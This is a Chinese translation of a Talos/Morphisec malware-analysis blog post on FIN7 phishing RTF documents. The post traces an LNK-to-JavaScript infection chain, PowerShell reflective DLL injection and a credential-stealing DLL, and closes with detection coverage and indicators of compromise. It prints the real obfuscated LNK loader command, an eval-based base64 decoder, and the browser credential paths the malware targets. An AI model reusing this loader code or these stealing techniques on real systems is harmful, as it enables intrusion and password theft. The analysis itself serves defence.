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执行摘要 

本文将详细介绍一个新近发现的遭到 FIN7 组织利用的 RTF 文档系列。FIN7 组织（也称为 
Carbanak 团伙）是一个受经济利益驱使，主要针对金融、酒店和医疗行业发起网络攻击的团

伙。FIN7 组织使用这种文档进行网络钓鱼活动，旨在执行一系列脚本语言代码，其中采用了

多种用于绕过传统安全防护机制的混淆机制及其他高级技术。这种文档包含各种诱使用户点

击其嵌入式对象的消息，而该嵌入式对象可执行一些恶意脚本，使系统感染上一种用于窃取

信息的恶意软件变体。然后，该恶意软件就会从一些常用浏览器和邮件客户端窃取密码，并

将其发送到攻击者可访问的远程节点。本文将详细探讨这些高级机制和信息窃取恶意软件。

我们还将分析面向终端的 AMP 和 Threat Grid 产品系列中用于检测这些文档系列的多种静态

和动态检测机制。 
 

引言 

2017 年 6 月 9 日，Morphisec 实验室发表了一篇博文，详细介绍一种新型感染媒介技术，这

种技术采用包含嵌入式 JavaScript OLE 对象的 RTF 文档。用户点击该文档后，它就会启动

由 JavaScript 组成的感染链和最终的 shellcode 负载，然后通过 DNS 从远程命令和控制服务

器加载更多的 shellcode。在 Morphisec 实验室和思科研究与效能团队共同撰写的这篇博文中，

我们将揭示这个新的文档变体的详细信息。该变体利用 LNK 嵌入式 OLE 对象，从文档对象

中提取出 JavaScript 僵尸病毒，并使用 PowerShell 将信息窃取程序 DLL 注入内存中。我们

公布的这些详细信息一方面旨在帮助大家了解 FIN7 等老练的犯罪团伙目前采用的攻击方法，

这些团伙不断改变攻击技术，企图规避安全检测；另一方面旨在展示面向终端的 AMP 和 
Threat Grid 产品系列的检测功能。网络威胁始终在不断变化，每天都会对很多行业产生不利

影响，而本文将有助于大家了解这些威胁。 
 

感染媒介 

我们遇到的植入程序变体使用 LNK 文件来执行 wscript.exe，这个 JavaScript 攻击链的开头

部分嵌入在以下 word 文档对象中： 

C:\Windows\System32\cmd.exe..\..\..\Windows\System32\cmd.exe /C set 
x=wsc@ript /e:js@cript %HOMEPATH%\md5.txt & echo 
try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+
'l'](w.ActiveDocument.Shapes(1).TextFrame.TextRange.Text);}catch(e){}; >%HOME
PATH%\md5.txt & echo %x:@=%|cmd 

https://twitter.com/smgoreli
https://twitter.com/jershmagersh
http://blog.morphisec.com/fin7-attacks-restaurant-industry


该攻击链包含构成 JavaScript 僵尸病毒各组成部分的大量 base64 编码的 JavaScript 文件。

此外，该攻击链中还包含执行反射式 DLL 注入的 PowerShell 代码，用于注入信息窃取恶意

软件变体 DLL，这些将在下文进行深入介绍。 
 

JAVASCRIPT 比较 

对解码后的 JavaScript 函数进行聚类分析 

一个此类文档就可以生成多达 40 个 JavaScript 文件。为了识别相似的技术，我们决定使用

给定 JavaScript 文件的熵和 base64 的解码深度，借助 ggplot 和 ggiraph R 库在散点图中对

这些文件进行聚类分析。 
 
在阐述分析结果之前，我们先来解释一下用于对这些 JavaScript 文件进行绘图和聚类分析的值。 
 

Base64 编码 

大多数 JavaScript 混淆处理都是通过嵌套 base64 编码实现的。Base64 是一种将二进制转换

成文本的编码方案，可用于表示任何类型的数据。对于这些文档而言，Base64 用于对 
JavaScript 函数进行多次编码，很有可能是为了规避传统防病毒软件采用的常见分析技术，因

为这些防病毒软件只能模拟有限次迭代的 JavaScript 指令。这些 base64 blob 采用硬编码或

以逗号分隔，之后将其串接起来进行解码，就能生成要执行的下一个 JavaScript 代码。解码

时，可以使用 CDO.Message ActiveXObject，并将 ContentTransferEncoding 指定为 base64
（请注意，Windows-1251 字符集是西里尔文，说明它可能来自使用俄语的国家/地区）： 

function b64dec(data){ 

 
    var cdo = new ActiveXObject("CDO.Message"); 
    var bp = cdo.BodyPart; 
    bp.ContentTransferEncoding = "base64"; 
    bp.Charset = "windows-1251"; 
    var st = bp.GetEncodedContentStream(); 
    st.WriteText(data); 
    st.Flush(); 
    st = bp.GetDecodedContentStream(); 
    st.Charset = "utf-8"; 
    return st.ReadText; 
} 

http://ggplot2.org/
https://davidgohel.github.io/ggiraph/index.html


然后，这可以使用一个经过混淆的函数调用进行评估，例如： 

MyName.getGlct()[String.fromCharCode(101)+'va'+'l'](b64dec(energy)); 

执行这些 base64 解码步骤会导致生成 JavaScript 僵尸病毒函数的各个执行分支，并且将信

息窃取程序 DLL 注入到内存中： 

 
图 1：采用 JavaScript 和 DLL 注入的文档感染链详情 
 

JavaScript 的熵 

熵涉及计算一定量的数据的无序性和不确定性。在本文中，我们关注的是基于该计算确定提

取的 JavaScript 文件之间的关联性，因为这些文档的变体包含类似的函数，但由于使用了混

淆机制，因此增加了聚类分析的难度。为此，我们采用了 Ero Carrera 的博文中提供的 
Python 代码进行以下计算： 

import math  
 
def H(data):  

http://blog.dkbza.org/2007/05/scanning-data-for-entropy-anomalies.html
https://2.bp.blogspot.com/-57GT_WlM2Gg/Wbvg0ZSLJWI/AAAAAAAAAUw/zncYBAG9SY4FCuZHEUqvuRPuuukEvuYlwCLcBGAs/s1600/image17.png


    if not data:  
        return 0  
    entropy = 0  
    for x in range(256):  
        p_x = float(data.count(chr(x)))/len(data)  
        if p_x > 0:  
           entropy += - p_x*math.log(p_x, 2)  
    return entropy 

对每个 JavaScript 文件执行此计算之后，计算结果将作为下文散点图的 X 轴。 
 

聚类分析和 JavaScript 函数的散点图 

我们从一组不包含植入程序 DLL 的初始文档开始。然后，计算出了生成各个文件（Y 轴）所

需的 base64 解码深度，并计算它们各自的熵（X 轴）。进而，分析了各个散点图分组，并

将其各自的功能标记为红色： 

 
图 2：基于熵和 base64 解码深度的散点图 

https://2.bp.blogspot.com/-YbK4t4-HmXQ/WbvhBgGTtsI/AAAAAAAAAU0/I6YMZwo8zSsuKzi7lwIOxsUHwIT1_zosgCLcBGAs/s1600/image20.png


通过这个散点图，可以得到下列结论： 
1. base64 解码深度越深，就越有可能是我们要找的函数 
2. 僵尸病毒函数和 C2 通信 JavaScript 位于多组解码深度和熵比较接近的文件中 
3. 任务调度功能的解码深度和熵差异比较明显（分两种单独的情况） 

然后，我们将相同的技术应用于传送整个 base64 编码压缩 DLL 的第二代文档上： 

 
图 3：PowerShell DLL 文件的散点图 
 

https://2.bp.blogspot.com/-e3zAX61zG6s/WbvhUjz2bNI/AAAAAAAAAU8/HZvwBhz3RKYDoX1Dd0yrv0hZbS1l09P4gCLcBGAs/s1600/image12.png


离群值代表解码后的 DLL 和 XML 任务文件。如果从散点图中移除这些离群值（仅保留 
JavaScript），可以看到与第一代文档相似的簇： 

 
图 4：修改后的 PowerShell DLL 文档散点图 
 
基于簇的数量和熵的范围，我们发现这一代文档包含更多具有不同功能和深度的文件。该绘

图方法还提供了一种通过显示离群值来识别新功能的方法，例如标记 PS 的离群值，其中存

放的是一组经过编码的 PowerShell 字节，而不是提供用于 DLL 注入的最终 PowerShell 的 
blob： 

 
图 5：根据熵的离群值识别新的 PowerShell 功能 
 

https://1.bp.blogspot.com/-5OJepc3H2UY/WbvhcynbZNI/AAAAAAAAAVA/oZlthUgG3ZoUS7mw9RmNVa1FgynRmNjVwCLcBGAs/s1600/image15.png
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JavaScript 代码混淆的变化 

对相似功能进行了聚类分析之后，生成的文档之间的变化就变得很明显。变量名称和 GUID 
路径都发生了变化： 

 
图 6：变量和路径 GUID JS 的变化 
 

https://2.bp.blogspot.com/-6samlsByG3M/WbvhrJDJQnI/AAAAAAAAAVI/dE6FotKrR1wB9mbETGxU7YIOQ3yXi-nAACLcBGAs/s1600/image3.png


此功能还使得一种值得关注的混淆机制变得更加显眼，而一些仿真引擎可能会忽略这种混淆

机制。我们所评估的 JavaScript 的函数体似乎位于一个多行注释中，但实际上这个注释是个

多行字符串。我们通过 Chrome 的脚本控制台对此函数进行测试，发现了以下混淆方法： 

 
图 7：JavaScript 多行注释字符串混淆方法 
我们对函数进行重新整理，可以得出以下结果： 

 
图 8：重新整理的函数示例 
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命令和控制地址发生也经过更改： 

 
图 9：更改的命令和控制地址 
 
不同 base64 编码深度可以使用我们的散点图来识别，如 PowerShell 的写入和执行功能： 

 
图 10：具有不同 Base64 解码深度的 PowerShell 写入和执行功能 
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下面我们看看相同的功能在不同的解码深度下的情形： 

 
图 11：PowerShell 写入和执行功能的代码比较 
 

信息窃取程序 DLL 

恢复 DLL 

这些 JavaScript 解码链的最后一个组成部分是 PowerShell 反射式 DLL 注入脚本，其中包含

从 Powersploit 的 Invoke-ReflectivePEInjection 中复制粘贴的函数。DLL 通过解码 base64 
blob 来进行去混淆，并使用 IO.Compression.DeflateStream 解压生成的字节。为了恢复 
DLL，我们可以使用 [io.file] :: WriteAllBytes 直接将解压缩的字节写入磁盘。 

 
图 12：对 PowerShell 流进行解压并将 DLL 写入磁盘 

https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
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图 13：复制粘贴的 PowerSploit Invoke-ReflectivePEInjection 代码 
 

https://1.bp.blogspot.com/-tTF2ONgnWrM/WbvmCYNn0QI/AAAAAAAAAWo/HlOLwj4evjsXTsnSLM6nUxx1nvMge3e1wCLcBGAs/s1600/image10.png


信息窃取程序 DLL 功能 

我们在 2016 年 8 月写了一篇关于 H1N1 植入程序的博文，其中引用了一个字符串去混淆脚本

来处理多个 32 位值的 XOR、ADD 和 SUB 字符串混淆方法。该脚本能够处理此信息窃取程序 
DLL 中的类似功能： 

 
图 14：Firefox 字符串解码 
 
导入散列功能需要解析给定 DLL 的导出表（常用于打包程序/恶意软件）： 

 
图 15：PowerShell 注入的 DLL 散列功能的 PE 偏移量 
 

https://communities.cisco.com/docs/DOC-69444
https://communities.cisco.com/docs/DOC-69444
https://2.bp.blogspot.com/-GD4llU_BiIk/Wbvl5FVcfDI/AAAAAAAAAWk/4kjDjcR03hUnLXqIcbY_3K_y9mSRiw-4wCLcBGAs/s1600/image19.png
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然后,我们对给定的导出值使用 XOR 和 ROL 算法以便与要解析的导出表的给定散列值进行

比较： 

 
图 16：PowerShell 注入的 DLL 散列算法 
 
该 DLL 还包含类似数据窃取功能，比如通过对缓存的 URL 进行散列处理，使用 
CryptUnprotectData 解密 Intelliform 数据： 

 
图 17：PowerShell 注入的 DLL Intelliform 的数据窃取功能 
 
此二进制文件还包含窃取 Outlook 和 Firefox 数据的功能，以及从 Google Chrome、
Chromium 以及 Chromium 和 Opera 浏览器的分叉中窃取登录信息的功能，这些将在下一部

分进一步讨论。 
 

https://2.bp.blogspot.com/-3_HSYdpxg10/WbvlqKS_PfI/AAAAAAAAAWc/MEIf0yaAiFUPHRWgmcO4bnPQxvzbRGOmACLcBGAs/s1600/image26.png
https://3.bp.blogspot.com/-8rdsinC5Nno/WbvlhA5mnGI/AAAAAAAAAWY/NPBiSbg7tN4uEuM4B855fUhLp-x-ghpewCLcBGAs/s1600/image6.png


窃取 Chrome、Chromium 和 Opera 凭证 

针对 Chrome、Chromium、Chromium 分叉和 Opera 浏览器的凭证窃取功能可以打开 
[Database Path]\Login Data sqlite3 数据库，读取 URL、用户名和密码字段，并调用 
CryptUnprotectData 来解密用户密码。它会在以下路径中查找此数据库：％APPDATA％、 
％PROGRAMDATA％ 和 ％LOCALAPPDATA％： 
• \Google\Chrome\User Data\Default\Login Data 
• \Chromium\User Data\Default\Login Data 
• \MapleStudio\ChromePlus\User Data\Default\Login Data 
• \YandexBrowse\User Data\Default\Login Data 
• \Nichrom\User Data\Default\Login Data 
• \Comodo\Dragon\User Data\Default\Login Data 
虽然 Opera 并非 Chromium 的分叉，但最新版本的凭证却在以下路径下具有相同的实现方

式：\Opera Software\Opera Stable\Login Data 
 

用于窃取数据的命令和控制代码 

除了 JavaScript 僵尸病毒功能之外，被盗数据将被转储到 ％APPDATA％\％USERNAME％.ini，
并将该文件的创建时间设置为 ntdll.dll 的创建时间。该数据通过 SimpleEncrypt 函数进行读取和

加密，通过函数名称可以猜到，这是一个简单的替换密码函数： 

 
图 18：命令和控制数据替换密码函数 

https://3.bp.blogspot.com/-xJdUQoFYFgw/WcvLk6nlOSI/AAAAAAAAAY4/WFjaF87KYUsVKxm5pZ1hGLM6DseSzaXaACLcBGAs/s1600/ex18.png


然后，该恶意软件会将其 POST 到硬编码的命令和控制地址，包括 Google 应该脚本托管服

务（我们还注意到了 alfIn 变量声明，它是用于替换密码的字母表）： 

 
图 19：命令和控制的数据泄漏 JavaScript 功能 
 
这是在再次使用注释块规避技术。 
 

AMP 覆盖范围 

面向终端的 AMP 和 Threat Grid 产品系列是处理此威胁的理想选择，因为它们可以通过同时

分析静态和动态活动，来检测恶意活动。 
 

https://1.bp.blogspot.com/-Ihjcn9G_CHM/WbvlR7Oy3EI/AAAAAAAAAWU/7gS7plcWxlk-EbEYZQEB3OMvPrY4PJYHQCLcBGAs/s1600/image2.png


AMP Threat Grid 
无需点击文档中嵌入的 OLE 对象，Threat Grid 就可以单凭使用静态属性洞察可能的恶意活

动。嵌入式功能由 Threat Grid 自动提取，在这种情况下，嵌入式 LNK OLE 对象包含点击时

执行的看似恶意的命令： 

 
图 20：文档 LNK 命令提示符静态属性 

 
图 21：活动文档 LNK 静态属性 
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在 Threat Grid 运行期间，可以使用“打开 Word 文档中的嵌入对象”手册在文档中点击 
OLE 对象，当我们从提交下拉菜单中选择此方案之后，它会在 Threat Grid 运行期间自动执

行该嵌入对象： 

 
图 22：从提交菜单中选择手册 
 
以下是关于这种自动化用户交互的说明： 

 
图 23：通过手册点击文档 OLE 对象 
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我们点击了该文档之后，系统基于动态行为触发其他行为指标： 

 
图 24：点击 OLE 对象引起的动态活动 
 
我们也可以观察到任务创建（由 JavaScript 僵尸病毒用于定期执行组件）： 

 
图 25：任务创建动态活动 
 
定期执行的 JavaScript 内容可以在“工件”部分查看，而且可以下载或重新提交该内容，以

便进一步分析： 

 
图 26：写入的 JavaScript 工件对象 
 
然后，我们将这些情报集成到 AMP 云中，保护所有客户，使其免遭类似攻击方法的攻击。 
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面向终端的 AMP 

面向终端的 AMP 可通过多种方法观察动态活动。其中一种方法就是捕获命令行参数，然后

将其发送到 AMP 云进行分析。在这种情况下，我们能够观察点击 OLE 对象后 wscript.exe 
的执行情况： 

 
图 27：AMP 中捕获的命令行参数，用于分析终端设备轨迹 
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这触发了一项感染指标，然后我们可以进一步调查此感染指标： 

 
图 28：捕获的命令行参数触发的感染指标 
 

结论 

FIN7 组织等攻击者采用高级攻击技术，对各行各业中使用大多数 Microsoft Windows 版本的

传统技术的受害者发起攻击。他们通过使用 Microsoft Word 文档来传播整个恶意软件平台，

可以利用脚本语言来访问 ActiveX 控件，还可以使用 PowerShell 通过“无文件”方式将运送

的可移植可执行文件注入到内存中，这些可移植可执行文件全程无需接触磁盘。通过对这些 
JavaScript 代码进行聚类分析，我还发现了 FIN7 的不同版本恶意软件之间的细微差别，而且

通过离群值发现了重大变化。通过观察静态和动态属性，我们可以建立基于嵌入式 OLE 对象

的感染指标，用于识别 FIN7 文档以及可能利用类似功能进行攻击的其他文档，从而保护我

们的客户免受攻击。 
 

https://1.bp.blogspot.com/-XR_G56YM3yY/Wbv6kkTJWSI/AAAAAAAAAXA/MyUtXpKTe_kaCFSU-8xSVic9DpCZYgU9gCLcBGAs/s1600/image8.png


防护 

Talos 发布了以下 Snort 规则来解决这一威胁。请注意，Talos 未来可能会发布更多规则，当

前规则会根据未来得到的更多信息而有所变更。Firepower 客户应更新 SRU，使用最新的规

则集更新。开源 Snort 用户规则集客户可以通过下载最新规则包（可在 Snort.org 上购买），

获得最新保护功能。 
 
Snort 规则：44430-44433 
 
以下列出了我们的客户可以检测和阻止这种威胁的其他方式。 

 
高级恶意软件防护 (AMP) 解决方案可以有效防止执行威胁发起者使用的恶意软件。 
CWS 或 WSA Web 扫描功能可以阻止访问恶意网站，并检测这些攻击中所用的恶意软件。 
邮件安全设备可以拦截威胁发起者在攻击活动中发出的恶意邮件。 
 
网络安全设备（例如 NGFW、NGIPS 和 Meraki MX）可以检测与此威胁相关的恶意活动。 
AMP Threat Grid 可帮助识别恶意二进制文件，使所有思科安全产品都有内置保护措施。 
Umbrella，我们的安全互联网网关 (SIG)，可阻止用户连接恶意域、IP 和 URL（无论用户是

否位于公司网络上） 
 

感染指标 

JavaScript 僵尸病毒文档 

6bc8770206c5f2bb4079f7583615adeb4076f2e2d0c655fbafedd9669dc3a213 
df22408833b2ae58f0d3e2fe87581be31972ef56e0ebf5efafc4e6e0341b5521 
2b4991b2a2792436b50404dcf6310ef2af2573505810ebac08e32f17aee3fbbe 
ebca565e21a42300e19f250f84b927fa3b32debf3fe13003a4aa5b71ed5cbee9 
6604d806eb68fdf914dfb6bbf907a4f2bd9b8757fc4da4e7c5e4de141b8d4e2c 
 

https://www.snort.org/products
https://www.cisco.com/c/en/us/products/security/advanced-malware-protection
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/
https://2.bp.blogspot.com/-PGTHoMADlVQ/WcvgBipZCpI/AAAAAAAAAZY/qbmLIBnlr7gEL2pwo7EJpDu6RnPFt3PjQCEwYBhgL/s1600/no-cloudlock.png


使用 PowerShell DLL 注入的 JavaScript 僵尸病毒文档 

91f028b1ade885bae2e0c6c3be2f3c3dc692830b45d4cf1a070a0bd159f1f676 
ad578311d43d3aea3a5b2908bc6e408b499cc832723225ff915d9a7bc36e0aa4 
fadb57aa7a82dbcb2e40c034f52096b63801efc040dd8559a4b8fc873bc962a1 
91f028b1ade885bae2e0c6c3be2f3c3dc692830b45d4cf1a070a0bd159f1f676 
74a5471c3aa6f9ce0c806e85929c2816ac39082f7fea8dbe8e4e98e986d4be78 
f73c7ed3765fec13ffd79aef97de519cfbd6a332e81b8a247fe7d1ccb1946c9c 
 

命令和控制 IP 

104[.]232[.]34[.]36 
5[.]149[.]253[.]126 
185[.]180[.]197[.]20 
195[.]54[.]162[.]79 
31[.]148[.]219[.]18 
 

Google 应用脚本命令和控制 URL 

hXXps://script[.]google[.]com/macros/s/AKfycbxvGGF-
QBkaNIWCBFgjohBtkmyfyRpvm91yCGEvzgDvAJdqfW8_/exec 
hXXps://script[.]google[.]com/macros/s/AKfycbz6dmNJfCPwFchoq6WkJsMjQu22SJTJ9pxM
UeQR7bCpmJhW6Bg2/exec 
hXXps://script[.]google[.]com/macros/s/AKfycbwkNc-
8rk0caDWO5I4KMymvOXVinfOpR1eevZ63xiXDvcoqOE6p/exec 
hXXps://script[.]google[.]com/macros/s/AKfycbxyiIBW9SHUFV4S5JM6IW-
dmVADFOrTJDM7bZspeBf2Kpf4IN0/exec 
 
发布者：EDMUND BRUMAGHIN；发布时间：13:38  
标签：FIN7、恶意文档、恶意软件、威胁 

 

https://www.blogger.com/profile/10442669663667294759
http://blog.talosintelligence.com/2017/09/fin7-stealer.html
http://blog.talosintelligence.com/search/label/FIN7
http://blog.talosintelligence.com/search/label/MalDoc
http://blog.talosintelligence.com/search/label/Malware
http://blog.talosintelligence.com/search/label/threats
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